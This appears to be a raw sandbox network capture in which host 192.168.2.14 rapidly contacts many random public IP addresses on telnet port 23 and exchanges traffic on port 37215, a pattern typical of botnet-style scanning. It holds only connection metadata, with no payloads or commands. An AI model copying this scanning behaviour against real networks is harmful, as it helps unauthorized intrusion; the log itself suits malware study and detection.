Oct 14, 2024 17:30:10.936701059 CEST	12058	23	192.168.2.14	184.240.16.81
Oct 14, 2024 17:30:10.936701059 CEST	12058	23	192.168.2.14	105.240.253.187
Oct 14, 2024 17:30:10.936716080 CEST	12058	23	192.168.2.14	183.225.137.133
Oct 14, 2024 17:30:10.936716080 CEST	12058	23	192.168.2.14	156.66.126.163
Oct 14, 2024 17:30:10.936716080 CEST	12058	23	192.168.2.14	47.202.216.107
Oct 14, 2024 17:30:10.936731100 CEST	12058	23	192.168.2.14	72.3.102.215
Oct 14, 2024 17:30:10.936742067 CEST	12058	23	192.168.2.14	31.6.135.125
Oct 14, 2024 17:30:10.936743975 CEST	12058	23	192.168.2.14	82.32.33.207
Oct 14, 2024 17:30:10.936743975 CEST	12058	23	192.168.2.14	118.250.166.184
Oct 14, 2024 17:30:10.936759949 CEST	12058	23	192.168.2.14	63.134.2.145
Oct 14, 2024 17:30:10.936764002 CEST	12058	23	192.168.2.14	36.51.226.70
Oct 14, 2024 17:30:10.936764002 CEST	12058	23	192.168.2.14	50.73.112.18
Oct 14, 2024 17:30:10.936781883 CEST	12058	23	192.168.2.14	115.97.204.2
Oct 14, 2024 17:30:10.936781883 CEST	12058	23	192.168.2.14	45.20.181.95
Oct 14, 2024 17:30:10.936789989 CEST	12058	23	192.168.2.14	59.69.196.36
Oct 14, 2024 17:30:10.936801910 CEST	12058	23	192.168.2.14	79.66.63.175
Oct 14, 2024 17:30:10.936803102 CEST	12058	23	192.168.2.14	61.178.104.235
Oct 14, 2024 17:30:10.936815977 CEST	12058	23	192.168.2.14	119.24.71.95
Oct 14, 2024 17:30:10.936815977 CEST	12058	23	192.168.2.14	80.97.126.100
Oct 14, 2024 17:30:10.936817884 CEST	12058	23	192.168.2.14	154.172.144.140
Oct 14, 2024 17:30:10.936836004 CEST	12058	23	192.168.2.14	104.66.125.204
Oct 14, 2024 17:30:10.936845064 CEST	12058	23	192.168.2.14	59.182.152.238
Oct 14, 2024 17:30:10.936855078 CEST	12058	23	192.168.2.14	18.115.166.34
Oct 14, 2024 17:30:10.936856031 CEST	12058	23	192.168.2.14	148.24.74.72
Oct 14, 2024 17:30:10.936856031 CEST	12058	23	192.168.2.14	117.227.254.39
Oct 14, 2024 17:30:10.936861038 CEST	12058	23	192.168.2.14	112.238.223.120
Oct 14, 2024 17:30:10.936877012 CEST	12058	23	192.168.2.14	96.228.155.223
Oct 14, 2024 17:30:10.936877012 CEST	12058	23	192.168.2.14	143.180.117.118
Oct 14, 2024 17:30:10.936885118 CEST	12058	23	192.168.2.14	2.7.67.11
Oct 14, 2024 17:30:10.936899900 CEST	12058	23	192.168.2.14	65.113.197.16
Oct 14, 2024 17:30:10.936908960 CEST	12058	23	192.168.2.14	160.157.136.240
Oct 14, 2024 17:30:10.936913013 CEST	12058	23	192.168.2.14	101.189.33.64
Oct 14, 2024 17:30:10.936919928 CEST	12058	23	192.168.2.14	216.214.13.81
Oct 14, 2024 17:30:10.936932087 CEST	12058	23	192.168.2.14	147.33.244.50
Oct 14, 2024 17:30:10.936933041 CEST	12058	23	192.168.2.14	72.0.58.9
Oct 14, 2024 17:30:10.936942101 CEST	12058	23	192.168.2.14	117.187.74.126
Oct 14, 2024 17:30:10.936954021 CEST	12058	23	192.168.2.14	150.163.202.173
Oct 14, 2024 17:30:10.936956882 CEST	12058	23	192.168.2.14	107.28.140.100
Oct 14, 2024 17:30:10.936959982 CEST	12058	23	192.168.2.14	176.98.132.127
Oct 14, 2024 17:30:10.936964035 CEST	12058	23	192.168.2.14	53.159.84.128
Oct 14, 2024 17:30:10.936970949 CEST	12058	23	192.168.2.14	82.3.61.119
Oct 14, 2024 17:30:10.936990976 CEST	12058	23	192.168.2.14	201.159.237.251
Oct 14, 2024 17:30:10.936991930 CEST	12058	23	192.168.2.14	19.69.220.186
Oct 14, 2024 17:30:10.937005997 CEST	12058	23	192.168.2.14	70.232.44.159
Oct 14, 2024 17:30:10.937007904 CEST	12058	23	192.168.2.14	96.142.191.84
Oct 14, 2024 17:30:10.937019110 CEST	12058	23	192.168.2.14	174.73.162.12
Oct 14, 2024 17:30:10.937024117 CEST	12058	23	192.168.2.14	44.188.198.112
Oct 14, 2024 17:30:10.937024117 CEST	12058	23	192.168.2.14	101.149.41.4
Oct 14, 2024 17:30:10.937035084 CEST	12058	23	192.168.2.14	5.253.202.86
Oct 14, 2024 17:30:10.937035084 CEST	12058	23	192.168.2.14	70.27.30.249
Oct 14, 2024 17:30:10.937047958 CEST	12058	23	192.168.2.14	64.150.121.225
Oct 14, 2024 17:30:10.937053919 CEST	12058	23	192.168.2.14	149.55.249.46
Oct 14, 2024 17:30:10.937060118 CEST	12058	23	192.168.2.14	136.134.200.72
Oct 14, 2024 17:30:10.937061071 CEST	12058	23	192.168.2.14	13.94.246.193
Oct 14, 2024 17:30:10.937072992 CEST	12058	23	192.168.2.14	223.208.251.53
Oct 14, 2024 17:30:10.937072992 CEST	12058	23	192.168.2.14	160.115.153.184
Oct 14, 2024 17:30:10.937091112 CEST	12058	23	192.168.2.14	113.24.200.73
Oct 14, 2024 17:30:10.937094927 CEST	12058	23	192.168.2.14	133.152.237.195
Oct 14, 2024 17:30:10.937109947 CEST	12058	23	192.168.2.14	40.247.13.31
Oct 14, 2024 17:30:10.937114954 CEST	12058	23	192.168.2.14	70.241.11.152
Oct 14, 2024 17:30:10.937115908 CEST	12058	23	192.168.2.14	39.159.14.2
Oct 14, 2024 17:30:10.937115908 CEST	12058	23	192.168.2.14	190.203.152.5
Oct 14, 2024 17:30:10.937134981 CEST	12058	23	192.168.2.14	80.242.15.121
Oct 14, 2024 17:30:10.937134981 CEST	12058	23	192.168.2.14	182.224.242.41
Oct 14, 2024 17:30:10.937139988 CEST	12058	23	192.168.2.14	173.37.251.220
Oct 14, 2024 17:30:10.937154055 CEST	12058	23	192.168.2.14	25.15.23.40
Oct 14, 2024 17:30:10.937161922 CEST	12058	23	192.168.2.14	117.168.246.241
Oct 14, 2024 17:30:10.937165022 CEST	12058	23	192.168.2.14	139.223.132.155
Oct 14, 2024 17:30:10.937176943 CEST	12058	23	192.168.2.14	44.174.194.246
Oct 14, 2024 17:30:10.937181950 CEST	12058	23	192.168.2.14	80.83.142.63
Oct 14, 2024 17:30:10.937201977 CEST	12058	23	192.168.2.14	138.175.194.50
Oct 14, 2024 17:30:10.937201977 CEST	12058	23	192.168.2.14	185.16.120.231
Oct 14, 2024 17:30:10.937205076 CEST	12058	23	192.168.2.14	98.219.188.157
Oct 14, 2024 17:30:10.937210083 CEST	12058	23	192.168.2.14	211.145.48.100
Oct 14, 2024 17:30:10.937220097 CEST	12058	23	192.168.2.14	68.249.110.213
Oct 14, 2024 17:30:10.937223911 CEST	12058	23	192.168.2.14	86.132.42.35
Oct 14, 2024 17:30:10.937238932 CEST	12058	23	192.168.2.14	57.213.99.189
Oct 14, 2024 17:30:10.937246084 CEST	12058	23	192.168.2.14	203.245.85.168
Oct 14, 2024 17:30:10.937252045 CEST	12058	23	192.168.2.14	13.240.49.57
Oct 14, 2024 17:30:10.937258005 CEST	12058	23	192.168.2.14	179.189.252.183
Oct 14, 2024 17:30:10.937266111 CEST	12058	23	192.168.2.14	20.64.91.90
Oct 14, 2024 17:30:10.937266111 CEST	12058	23	192.168.2.14	47.22.178.176
Oct 14, 2024 17:30:10.937283993 CEST	12058	23	192.168.2.14	9.85.11.91
Oct 14, 2024 17:30:10.937289000 CEST	12058	23	192.168.2.14	23.49.23.202
Oct 14, 2024 17:30:10.937294960 CEST	12058	23	192.168.2.14	48.40.45.85
Oct 14, 2024 17:30:10.937297106 CEST	12058	23	192.168.2.14	59.202.25.65
Oct 14, 2024 17:30:10.937308073 CEST	12058	23	192.168.2.14	183.147.239.211
Oct 14, 2024 17:30:10.937314034 CEST	12058	23	192.168.2.14	148.167.72.27
Oct 14, 2024 17:30:10.937315941 CEST	12058	23	192.168.2.14	187.56.56.159
Oct 14, 2024 17:30:10.937330008 CEST	12058	23	192.168.2.14	103.211.174.218
Oct 14, 2024 17:30:10.937331915 CEST	12058	23	192.168.2.14	78.77.212.215
Oct 14, 2024 17:30:10.937342882 CEST	12058	23	192.168.2.14	218.171.170.156
Oct 14, 2024 17:30:10.937350988 CEST	12058	23	192.168.2.14	98.201.44.218
Oct 14, 2024 17:30:10.937362909 CEST	12058	23	192.168.2.14	216.49.158.45
Oct 14, 2024 17:30:10.937367916 CEST	12058	23	192.168.2.14	212.90.42.148
Oct 14, 2024 17:30:10.937377930 CEST	12058	23	192.168.2.14	89.190.182.47
Oct 14, 2024 17:30:10.937380075 CEST	12058	23	192.168.2.14	50.249.51.213
Oct 14, 2024 17:30:10.937387943 CEST	12058	23	192.168.2.14	34.250.115.226
Oct 14, 2024 17:30:10.937398911 CEST	12058	23	192.168.2.14	13.210.213.36
Oct 14, 2024 17:30:10.937408924 CEST	12058	23	192.168.2.14	162.216.153.234
Oct 14, 2024 17:30:10.937412977 CEST	12058	23	192.168.2.14	51.96.3.129
Oct 14, 2024 17:30:10.937431097 CEST	12058	23	192.168.2.14	109.109.222.105
Oct 14, 2024 17:30:10.937434912 CEST	12058	23	192.168.2.14	98.247.112.137
Oct 14, 2024 17:30:10.937436104 CEST	12058	23	192.168.2.14	94.94.131.68
Oct 14, 2024 17:30:10.937438011 CEST	12058	23	192.168.2.14	151.208.10.16
Oct 14, 2024 17:30:10.937449932 CEST	12058	23	192.168.2.14	13.216.82.247
Oct 14, 2024 17:30:10.937458038 CEST	12058	23	192.168.2.14	129.60.236.215
Oct 14, 2024 17:30:10.937463999 CEST	12058	23	192.168.2.14	108.231.147.240
Oct 14, 2024 17:30:10.937474966 CEST	12058	23	192.168.2.14	97.179.252.241
Oct 14, 2024 17:30:10.937494040 CEST	12058	23	192.168.2.14	161.110.115.9
Oct 14, 2024 17:30:10.937494040 CEST	12058	23	192.168.2.14	69.164.40.78
Oct 14, 2024 17:30:10.937500000 CEST	12058	23	192.168.2.14	48.169.160.24
Oct 14, 2024 17:30:10.937506914 CEST	12058	23	192.168.2.14	107.154.56.190
Oct 14, 2024 17:30:10.937515020 CEST	12058	23	192.168.2.14	75.248.117.31
Oct 14, 2024 17:30:10.937531948 CEST	12058	23	192.168.2.14	88.191.147.175
Oct 14, 2024 17:30:10.937531948 CEST	12058	23	192.168.2.14	207.244.244.222
Oct 14, 2024 17:30:10.937540054 CEST	12058	23	192.168.2.14	60.195.24.92
Oct 14, 2024 17:30:10.937547922 CEST	12058	23	192.168.2.14	183.175.55.212
Oct 14, 2024 17:30:10.937556982 CEST	12058	23	192.168.2.14	8.182.236.243
Oct 14, 2024 17:30:10.937561035 CEST	12058	23	192.168.2.14	192.240.10.25
Oct 14, 2024 17:30:10.937563896 CEST	12058	23	192.168.2.14	64.29.164.103
Oct 14, 2024 17:30:10.937572956 CEST	12058	23	192.168.2.14	117.185.39.237
Oct 14, 2024 17:30:10.937572956 CEST	12058	23	192.168.2.14	177.240.209.103
Oct 14, 2024 17:30:10.937580109 CEST	12058	23	192.168.2.14	94.73.253.173
Oct 14, 2024 17:30:10.937580109 CEST	12058	23	192.168.2.14	180.214.165.106
Oct 14, 2024 17:30:10.937592030 CEST	12058	23	192.168.2.14	161.42.203.222
Oct 14, 2024 17:30:10.937596083 CEST	12058	23	192.168.2.14	86.130.181.90
Oct 14, 2024 17:30:10.937607050 CEST	12058	23	192.168.2.14	25.180.224.20
Oct 14, 2024 17:30:10.937612057 CEST	12058	23	192.168.2.14	72.136.243.130
Oct 14, 2024 17:30:10.937628031 CEST	12058	23	192.168.2.14	148.163.215.200
Oct 14, 2024 17:30:10.937632084 CEST	12058	23	192.168.2.14	135.195.208.42
Oct 14, 2024 17:30:10.937644958 CEST	12058	23	192.168.2.14	172.241.122.79
Oct 14, 2024 17:30:10.937654018 CEST	12058	23	192.168.2.14	45.66.92.204
Oct 14, 2024 17:30:10.937659979 CEST	12058	23	192.168.2.14	13.249.210.49
Oct 14, 2024 17:30:10.937659979 CEST	12058	23	192.168.2.14	202.142.107.210
Oct 14, 2024 17:30:10.937674999 CEST	12058	23	192.168.2.14	174.52.26.231
Oct 14, 2024 17:30:10.937684059 CEST	12058	23	192.168.2.14	174.138.191.207
Oct 14, 2024 17:30:10.937694073 CEST	12058	23	192.168.2.14	72.230.92.141
Oct 14, 2024 17:30:10.937695026 CEST	12058	23	192.168.2.14	90.107.134.157
Oct 14, 2024 17:30:10.937700987 CEST	12058	23	192.168.2.14	212.232.18.228
Oct 14, 2024 17:30:10.937704086 CEST	12058	23	192.168.2.14	25.234.28.31
Oct 14, 2024 17:30:10.937721014 CEST	12058	23	192.168.2.14	42.205.29.154
Oct 14, 2024 17:30:10.937724113 CEST	12058	23	192.168.2.14	120.153.157.83
Oct 14, 2024 17:30:10.937724113 CEST	12058	23	192.168.2.14	99.194.77.243
Oct 14, 2024 17:30:10.937727928 CEST	12058	23	192.168.2.14	93.50.252.10
Oct 14, 2024 17:30:10.937735081 CEST	12058	23	192.168.2.14	148.207.130.103
Oct 14, 2024 17:30:10.937738895 CEST	12058	23	192.168.2.14	218.203.7.32
Oct 14, 2024 17:30:10.937741995 CEST	12058	23	192.168.2.14	66.73.194.20
Oct 14, 2024 17:30:10.937741995 CEST	12058	23	192.168.2.14	188.237.108.230
Oct 14, 2024 17:30:10.937753916 CEST	12058	23	192.168.2.14	80.216.7.2
Oct 14, 2024 17:30:10.937760115 CEST	12058	23	192.168.2.14	216.20.138.67
Oct 14, 2024 17:30:10.937772989 CEST	12058	23	192.168.2.14	145.53.78.248
Oct 14, 2024 17:30:10.937777042 CEST	12058	23	192.168.2.14	5.36.168.223
Oct 14, 2024 17:30:10.937791109 CEST	12058	23	192.168.2.14	168.54.19.161
Oct 14, 2024 17:30:11.029912949 CEST	37215	53786	41.235.28.242	192.168.2.14
Oct 14, 2024 17:30:11.029952049 CEST	37215	53786	197.230.140.2	192.168.2.14
Oct 14, 2024 17:30:11.029982090 CEST	37215	53786	197.164.96.180	192.168.2.14
Oct 14, 2024 17:30:11.030010939 CEST	37215	53786	197.130.97.205	192.168.2.14
Oct 14, 2024 17:30:11.030054092 CEST	37215	53786	41.162.59.13	192.168.2.14
Oct 14, 2024 17:30:11.030075073 CEST	53786	37215	192.168.2.14	41.235.28.242
Oct 14, 2024 17:30:11.030076027 CEST	53786	37215	192.168.2.14	197.164.96.180
Oct 14, 2024 17:30:11.030077934 CEST	53786	37215	192.168.2.14	197.230.140.2
Oct 14, 2024 17:30:11.030081987 CEST	37215	53786	41.101.173.84	192.168.2.14
Oct 14, 2024 17:30:11.030076027 CEST	53786	37215	192.168.2.14	197.130.97.205
Oct 14, 2024 17:30:11.030111074 CEST	37215	53786	156.21.185.107	192.168.2.14
Oct 14, 2024 17:30:11.030117035 CEST	53786	37215	192.168.2.14	41.162.59.13
Oct 14, 2024 17:30:11.030132055 CEST	53786	37215	192.168.2.14	41.101.173.84
Oct 14, 2024 17:30:11.030141115 CEST	37215	53786	156.163.146.94	192.168.2.14
Oct 14, 2024 17:30:11.030193090 CEST	37215	53786	41.21.9.219	192.168.2.14
Oct 14, 2024 17:30:11.030222893 CEST	37215	53786	197.210.123.107	192.168.2.14
Oct 14, 2024 17:30:11.030251026 CEST	37215	53786	41.92.149.127	192.168.2.14
Oct 14, 2024 17:30:11.030278921 CEST	53786	37215	192.168.2.14	197.210.123.107
Oct 14, 2024 17:30:11.030278921 CEST	37215	53786	197.21.109.20	192.168.2.14
Oct 14, 2024 17:30:11.030308962 CEST	37215	53786	156.86.184.88	192.168.2.14
Oct 14, 2024 17:30:11.030312061 CEST	53786	37215	192.168.2.14	156.21.185.107
Oct 14, 2024 17:30:11.030323029 CEST	53786	37215	192.168.2.14	156.163.146.94
Oct 14, 2024 17:30:11.030333042 CEST	53786	37215	192.168.2.14	41.21.9.219
Oct 14, 2024 17:30:11.030338049 CEST	37215	53786	41.57.46.182	192.168.2.14
Oct 14, 2024 17:30:11.030339956 CEST	53786	37215	192.168.2.14	41.92.149.127
Oct 14, 2024 17:30:11.030349970 CEST	53786	37215	192.168.2.14	197.21.109.20
Oct 14, 2024 17:30:11.030349970 CEST	53786	37215	192.168.2.14	156.86.184.88
Oct 14, 2024 17:30:11.030369997 CEST	37215	53786	197.1.133.171	192.168.2.14
Oct 14, 2024 17:30:11.030386925 CEST	53786	37215	192.168.2.14	41.57.46.182
Oct 14, 2024 17:30:11.030399084 CEST	37215	53786	41.1.131.85	192.168.2.14
Oct 14, 2024 17:30:11.030426025 CEST	37215	53786	41.20.29.78	192.168.2.14
Oct 14, 2024 17:30:11.030425072 CEST	53786	37215	192.168.2.14	197.1.133.171
Oct 14, 2024 17:30:11.030453920 CEST	37215	53786	156.211.68.32	192.168.2.14
Oct 14, 2024 17:30:11.030461073 CEST	53786	37215	192.168.2.14	41.1.131.85
Oct 14, 2024 17:30:11.030472994 CEST	53786	37215	192.168.2.14	41.20.29.78
Oct 14, 2024 17:30:11.030483007 CEST	37215	53786	41.243.117.172	192.168.2.14
Oct 14, 2024 17:30:11.030508995 CEST	53786	37215	192.168.2.14	156.211.68.32
Oct 14, 2024 17:30:11.030509949 CEST	37215	53786	156.224.117.209	192.168.2.14
Oct 14, 2024 17:30:11.030533075 CEST	53786	37215	192.168.2.14	41.243.117.172
Oct 14, 2024 17:30:11.030538082 CEST	37215	53786	156.218.81.186	192.168.2.14
Oct 14, 2024 17:30:11.030565023 CEST	53786	37215	192.168.2.14	156.224.117.209
Oct 14, 2024 17:30:11.030565977 CEST	37215	53786	156.65.232.224	192.168.2.14
Oct 14, 2024 17:30:11.030585051 CEST	53786	37215	192.168.2.14	156.218.81.186
Oct 14, 2024 17:30:11.030595064 CEST	37215	53786	156.218.45.115	192.168.2.14
Oct 14, 2024 17:30:11.030611992 CEST	53786	37215	192.168.2.14	156.65.232.224
Oct 14, 2024 17:30:11.030622959 CEST	37215	53786	41.4.90.204	192.168.2.14
Oct 14, 2024 17:30:11.030644894 CEST	53786	37215	192.168.2.14	156.218.45.115
Oct 14, 2024 17:30:11.030652046 CEST	37215	53786	41.107.69.146	192.168.2.14
Oct 14, 2024 17:30:11.030669928 CEST	53786	37215	192.168.2.14	41.4.90.204
Oct 14, 2024 17:30:11.030679941 CEST	37215	53786	156.60.84.102	192.168.2.14
Oct 14, 2024 17:30:11.030704021 CEST	53786	37215	192.168.2.14	41.107.69.146
Oct 14, 2024 17:30:11.030706882 CEST	37215	53786	156.151.222.2	192.168.2.14
Oct 14, 2024 17:30:11.030716896 CEST	53786	37215	192.168.2.14	156.60.84.102
Oct 14, 2024 17:30:11.030740023 CEST	37215	53786	197.60.159.58	192.168.2.14
Oct 14, 2024 17:30:11.030752897 CEST	53786	37215	192.168.2.14	156.151.222.2
Oct 14, 2024 17:30:11.030788898 CEST	53786	37215	192.168.2.14	197.60.159.58
Oct 14, 2024 17:30:11.031207085 CEST	37215	53786	197.251.235.113	192.168.2.14
Oct 14, 2024 17:30:11.031238079 CEST	37215	53786	41.35.124.85	192.168.2.14
Oct 14, 2024 17:30:11.031255960 CEST	53786	37215	192.168.2.14	197.251.235.113
Oct 14, 2024 17:30:11.031266928 CEST	37215	53786	197.167.226.161	192.168.2.14
Oct 14, 2024 17:30:11.031291008 CEST	53786	37215	192.168.2.14	41.35.124.85
Oct 14, 2024 17:30:11.031295061 CEST	37215	53786	41.215.41.122	192.168.2.14
Oct 14, 2024 17:30:11.031318903 CEST	53786	37215	192.168.2.14	197.167.226.161
Oct 14, 2024 17:30:11.031322956 CEST	37215	53786	41.71.122.206	192.168.2.14
Oct 14, 2024 17:30:11.031338930 CEST	53786	37215	192.168.2.14	41.215.41.122
Oct 14, 2024 17:30:11.031375885 CEST	37215	53786	156.176.99.154	192.168.2.14
Oct 14, 2024 17:30:11.031390905 CEST	53786	37215	192.168.2.14	41.71.122.206
Oct 14, 2024 17:30:11.031423092 CEST	37215	53786	156.162.113.107	192.168.2.14
Oct 14, 2024 17:30:11.031433105 CEST	53786	37215	192.168.2.14	156.176.99.154
Oct 14, 2024 17:30:11.031451941 CEST	37215	53786	156.42.212.81	192.168.2.14
Oct 14, 2024 17:30:11.031470060 CEST	53786	37215	192.168.2.14	156.162.113.107
Oct 14, 2024 17:30:11.031480074 CEST	37215	53786	41.197.127.247	192.168.2.14
Oct 14, 2024 17:30:11.031500101 CEST	53786	37215	192.168.2.14	156.42.212.81
Oct 14, 2024 17:30:11.031507015 CEST	37215	53786	41.24.99.130	192.168.2.14
Oct 14, 2024 17:30:11.031527996 CEST	53786	37215	192.168.2.14	41.197.127.247
Oct 14, 2024 17:30:11.031534910 CEST	37215	53786	197.230.29.88	192.168.2.14
Oct 14, 2024 17:30:11.031558990 CEST	53786	37215	192.168.2.14	41.24.99.130
Oct 14, 2024 17:30:11.031563044 CEST	37215	53786	41.93.205.206	192.168.2.14
Oct 14, 2024 17:30:11.031577110 CEST	53786	37215	192.168.2.14	197.230.29.88
Oct 14, 2024 17:30:11.031591892 CEST	37215	53786	156.96.85.196	192.168.2.14
Oct 14, 2024 17:30:11.031610966 CEST	53786	37215	192.168.2.14	41.93.205.206
Oct 14, 2024 17:30:11.031620026 CEST	37215	53786	156.29.65.158	192.168.2.14
Oct 14, 2024 17:30:11.031636000 CEST	53786	37215	192.168.2.14	156.96.85.196
Oct 14, 2024 17:30:11.031647921 CEST	37215	53786	197.137.80.245	192.168.2.14
Oct 14, 2024 17:30:11.031666994 CEST	53786	37215	192.168.2.14	156.29.65.158
Oct 14, 2024 17:30:11.031676054 CEST	37215	53786	41.182.133.210	192.168.2.14
Oct 14, 2024 17:30:11.031693935 CEST	53786	37215	192.168.2.14	197.137.80.245
Oct 14, 2024 17:30:11.031702995 CEST	37215	53786	156.192.63.227	192.168.2.14
Oct 14, 2024 17:30:11.031722069 CEST	53786	37215	192.168.2.14	41.182.133.210
Oct 14, 2024 17:30:11.031729937 CEST	37215	53786	41.199.238.205	192.168.2.14
Oct 14, 2024 17:30:11.031743050 CEST	53786	37215	192.168.2.14	156.192.63.227
Oct 14, 2024 17:30:11.031758070 CEST	37215	53786	156.108.200.131	192.168.2.14
Oct 14, 2024 17:30:11.031775951 CEST	53786	37215	192.168.2.14	41.199.238.205
Oct 14, 2024 17:30:11.031784058 CEST	37215	53786	41.207.212.186	192.168.2.14
Oct 14, 2024 17:30:11.031810045 CEST	53786	37215	192.168.2.14	156.108.200.131
Oct 14, 2024 17:30:11.031810999 CEST	37215	53786	41.252.15.127	192.168.2.14
Oct 14, 2024 17:30:11.031835079 CEST	53786	37215	192.168.2.14	41.207.212.186
Oct 14, 2024 17:30:11.031841040 CEST	37215	53786	41.21.105.81	192.168.2.14
Oct 14, 2024 17:30:11.031853914 CEST	53786	37215	192.168.2.14	41.252.15.127
Oct 14, 2024 17:30:11.031868935 CEST	37215	53786	197.166.108.137	192.168.2.14
Oct 14, 2024 17:30:11.031891108 CEST	53786	37215	192.168.2.14	41.21.105.81
Oct 14, 2024 17:30:11.031896114 CEST	37215	53786	197.211.146.7	192.168.2.14
Oct 14, 2024 17:30:11.031914949 CEST	53786	37215	192.168.2.14	197.166.108.137
Oct 14, 2024 17:30:11.031923056 CEST	37215	53786	197.253.104.160	192.168.2.14
Oct 14, 2024 17:30:11.031940937 CEST	53786	37215	192.168.2.14	197.211.146.7
Oct 14, 2024 17:30:11.031950951 CEST	37215	53786	197.104.225.69	192.168.2.14
Oct 14, 2024 17:30:11.031970024 CEST	53786	37215	192.168.2.14	197.253.104.160
Oct 14, 2024 17:30:11.031977892 CEST	37215	53786	41.6.75.22	192.168.2.14
Oct 14, 2024 17:30:11.031997919 CEST	53786	37215	192.168.2.14	197.104.225.69
Oct 14, 2024 17:30:11.032011032 CEST	37215	53786	197.252.160.199	192.168.2.14
Oct 14, 2024 17:30:11.032028913 CEST	53786	37215	192.168.2.14	41.6.75.22
Oct 14, 2024 17:30:11.032077074 CEST	53786	37215	192.168.2.14	197.252.160.199
Oct 14, 2024 17:30:11.032210112 CEST	37215	53786	41.163.3.57	192.168.2.14
Oct 14, 2024 17:30:11.032241106 CEST	37215	53786	41.244.100.80	192.168.2.14
Oct 14, 2024 17:30:11.032269001 CEST	37215	53786	156.142.255.49	192.168.2.14
Oct 14, 2024 17:30:11.032268047 CEST	53786	37215	192.168.2.14	41.163.3.57
Oct 14, 2024 17:30:11.032295942 CEST	53786	37215	192.168.2.14	41.244.100.80
Oct 14, 2024 17:30:11.032298088 CEST	37215	53786	41.119.71.163	192.168.2.14
Oct 14, 2024 17:30:11.032320976 CEST	53786	37215	192.168.2.14	156.142.255.49
Oct 14, 2024 17:30:11.032325983 CEST	37215	53786	197.90.147.93	192.168.2.14
Oct 14, 2024 17:30:11.032344103 CEST	53786	37215	192.168.2.14	41.119.71.163
Oct 14, 2024 17:30:11.032355070 CEST	37215	53786	197.59.145.219	192.168.2.14
Oct 14, 2024 17:30:11.032382965 CEST	37215	53786	41.183.236.214	192.168.2.14
Oct 14, 2024 17:30:11.032383919 CEST	53786	37215	192.168.2.14	197.90.147.93
Oct 14, 2024 17:30:11.032402992 CEST	53786	37215	192.168.2.14	197.59.145.219
Oct 14, 2024 17:30:11.032432079 CEST	53786	37215	192.168.2.14	41.183.236.214
Oct 14, 2024 17:30:11.032433987 CEST	37215	53786	41.14.178.99	192.168.2.14
Oct 14, 2024 17:30:11.032464027 CEST	37215	53786	197.143.56.10	192.168.2.14
Oct 14, 2024 17:30:11.032490969 CEST	53786	37215	192.168.2.14	41.14.178.99
Oct 14, 2024 17:30:11.032491922 CEST	37215	53786	41.173.11.59	192.168.2.14
Oct 14, 2024 17:30:11.032520056 CEST	53786	37215	192.168.2.14	197.143.56.10
Oct 14, 2024 17:30:11.032521009 CEST	37215	53786	41.175.32.82	192.168.2.14
Oct 14, 2024 17:30:11.032536983 CEST	53786	37215	192.168.2.14	41.173.11.59
Oct 14, 2024 17:30:11.032548904 CEST	37215	53786	197.232.26.204	192.168.2.14
Oct 14, 2024 17:30:11.032577038 CEST	37215	53786	156.24.153.20	192.168.2.14
Oct 14, 2024 17:30:11.032577038 CEST	53786	37215	192.168.2.14	41.175.32.82
Oct 14, 2024 17:30:11.032604933 CEST	37215	53786	41.157.10.213	192.168.2.14
Oct 14, 2024 17:30:11.032613993 CEST	53786	37215	192.168.2.14	197.232.26.204
Oct 14, 2024 17:30:11.032614946 CEST	53786	37215	192.168.2.14	156.24.153.20
Oct 14, 2024 17:30:11.032634020 CEST	37215	53786	41.104.187.20	192.168.2.14
Oct 14, 2024 17:30:11.032653093 CEST	53786	37215	192.168.2.14	41.157.10.213
Oct 14, 2024 17:30:11.032660961 CEST	37215	53786	156.91.85.197	192.168.2.14
Oct 14, 2024 17:30:11.032685995 CEST	53786	37215	192.168.2.14	41.104.187.20
Oct 14, 2024 17:30:11.032689095 CEST	37215	53786	41.224.68.67	192.168.2.14
Oct 14, 2024 17:30:11.032702923 CEST	53786	37215	192.168.2.14	156.91.85.197
Oct 14, 2024 17:30:11.032717943 CEST	37215	53786	41.51.106.30	192.168.2.14
Oct 14, 2024 17:30:11.032737970 CEST	53786	37215	192.168.2.14	41.224.68.67
Oct 14, 2024 17:30:11.032744884 CEST	37215	53786	197.94.41.159	192.168.2.14
Oct 14, 2024 17:30:11.032764912 CEST	53786	37215	192.168.2.14	41.51.106.30
Oct 14, 2024 17:30:11.032773018 CEST	37215	53786	41.56.194.112	192.168.2.14
Oct 14, 2024 17:30:11.032783985 CEST	53786	37215	192.168.2.14	197.94.41.159
Oct 14, 2024 17:30:11.032802105 CEST	37215	53786	41.35.31.202	192.168.2.14
Oct 14, 2024 17:30:11.032824039 CEST	53786	37215	192.168.2.14	41.56.194.112
Oct 14, 2024 17:30:11.032828093 CEST	37215	53786	41.58.125.19	192.168.2.14
Oct 14, 2024 17:30:11.032845974 CEST	53786	37215	192.168.2.14	41.35.31.202
Oct 14, 2024 17:30:11.032855988 CEST	37215	53786	41.224.81.106	192.168.2.14
Oct 14, 2024 17:30:11.032879114 CEST	53786	37215	192.168.2.14	41.58.125.19
Oct 14, 2024 17:30:11.032882929 CEST	37215	53786	41.216.13.36	192.168.2.14
Oct 14, 2024 17:30:11.032902002 CEST	53786	37215	192.168.2.14	41.224.81.106
Oct 14, 2024 17:30:11.032911062 CEST	37215	53786	197.222.41.248	192.168.2.14
Oct 14, 2024 17:30:11.032936096 CEST	53786	37215	192.168.2.14	41.216.13.36
Oct 14, 2024 17:30:11.032938004 CEST	37215	53786	156.63.21.60	192.168.2.14
Oct 14, 2024 17:30:11.032953978 CEST	53786	37215	192.168.2.14	197.222.41.248
Oct 14, 2024 17:30:11.032967091 CEST	37215	53786	41.64.140.129	192.168.2.14
Oct 14, 2024 17:30:11.032989979 CEST	53786	37215	192.168.2.14	156.63.21.60
Oct 14, 2024 17:30:11.032994986 CEST	37215	53786	197.57.223.235	192.168.2.14
Oct 14, 2024 17:30:11.033014059 CEST	53786	37215	192.168.2.14	41.64.140.129
Oct 14, 2024 17:30:11.033040047 CEST	53786	37215	192.168.2.14	197.57.223.235
Oct 14, 2024 17:30:11.033045053 CEST	37215	53786	197.216.214.188	192.168.2.14
Oct 14, 2024 17:30:11.033075094 CEST	37215	53786	197.125.93.18	192.168.2.14
Oct 14, 2024 17:30:11.033094883 CEST	53786	37215	192.168.2.14	197.216.214.188
Oct 14, 2024 17:30:11.033102989 CEST	37215	53786	41.253.220.220	192.168.2.14
Oct 14, 2024 17:30:11.033128023 CEST	53786	37215	192.168.2.14	197.125.93.18
Oct 14, 2024 17:30:11.033129930 CEST	37215	53786	197.45.197.136	192.168.2.14
Oct 14, 2024 17:30:11.033149958 CEST	53786	37215	192.168.2.14	41.253.220.220
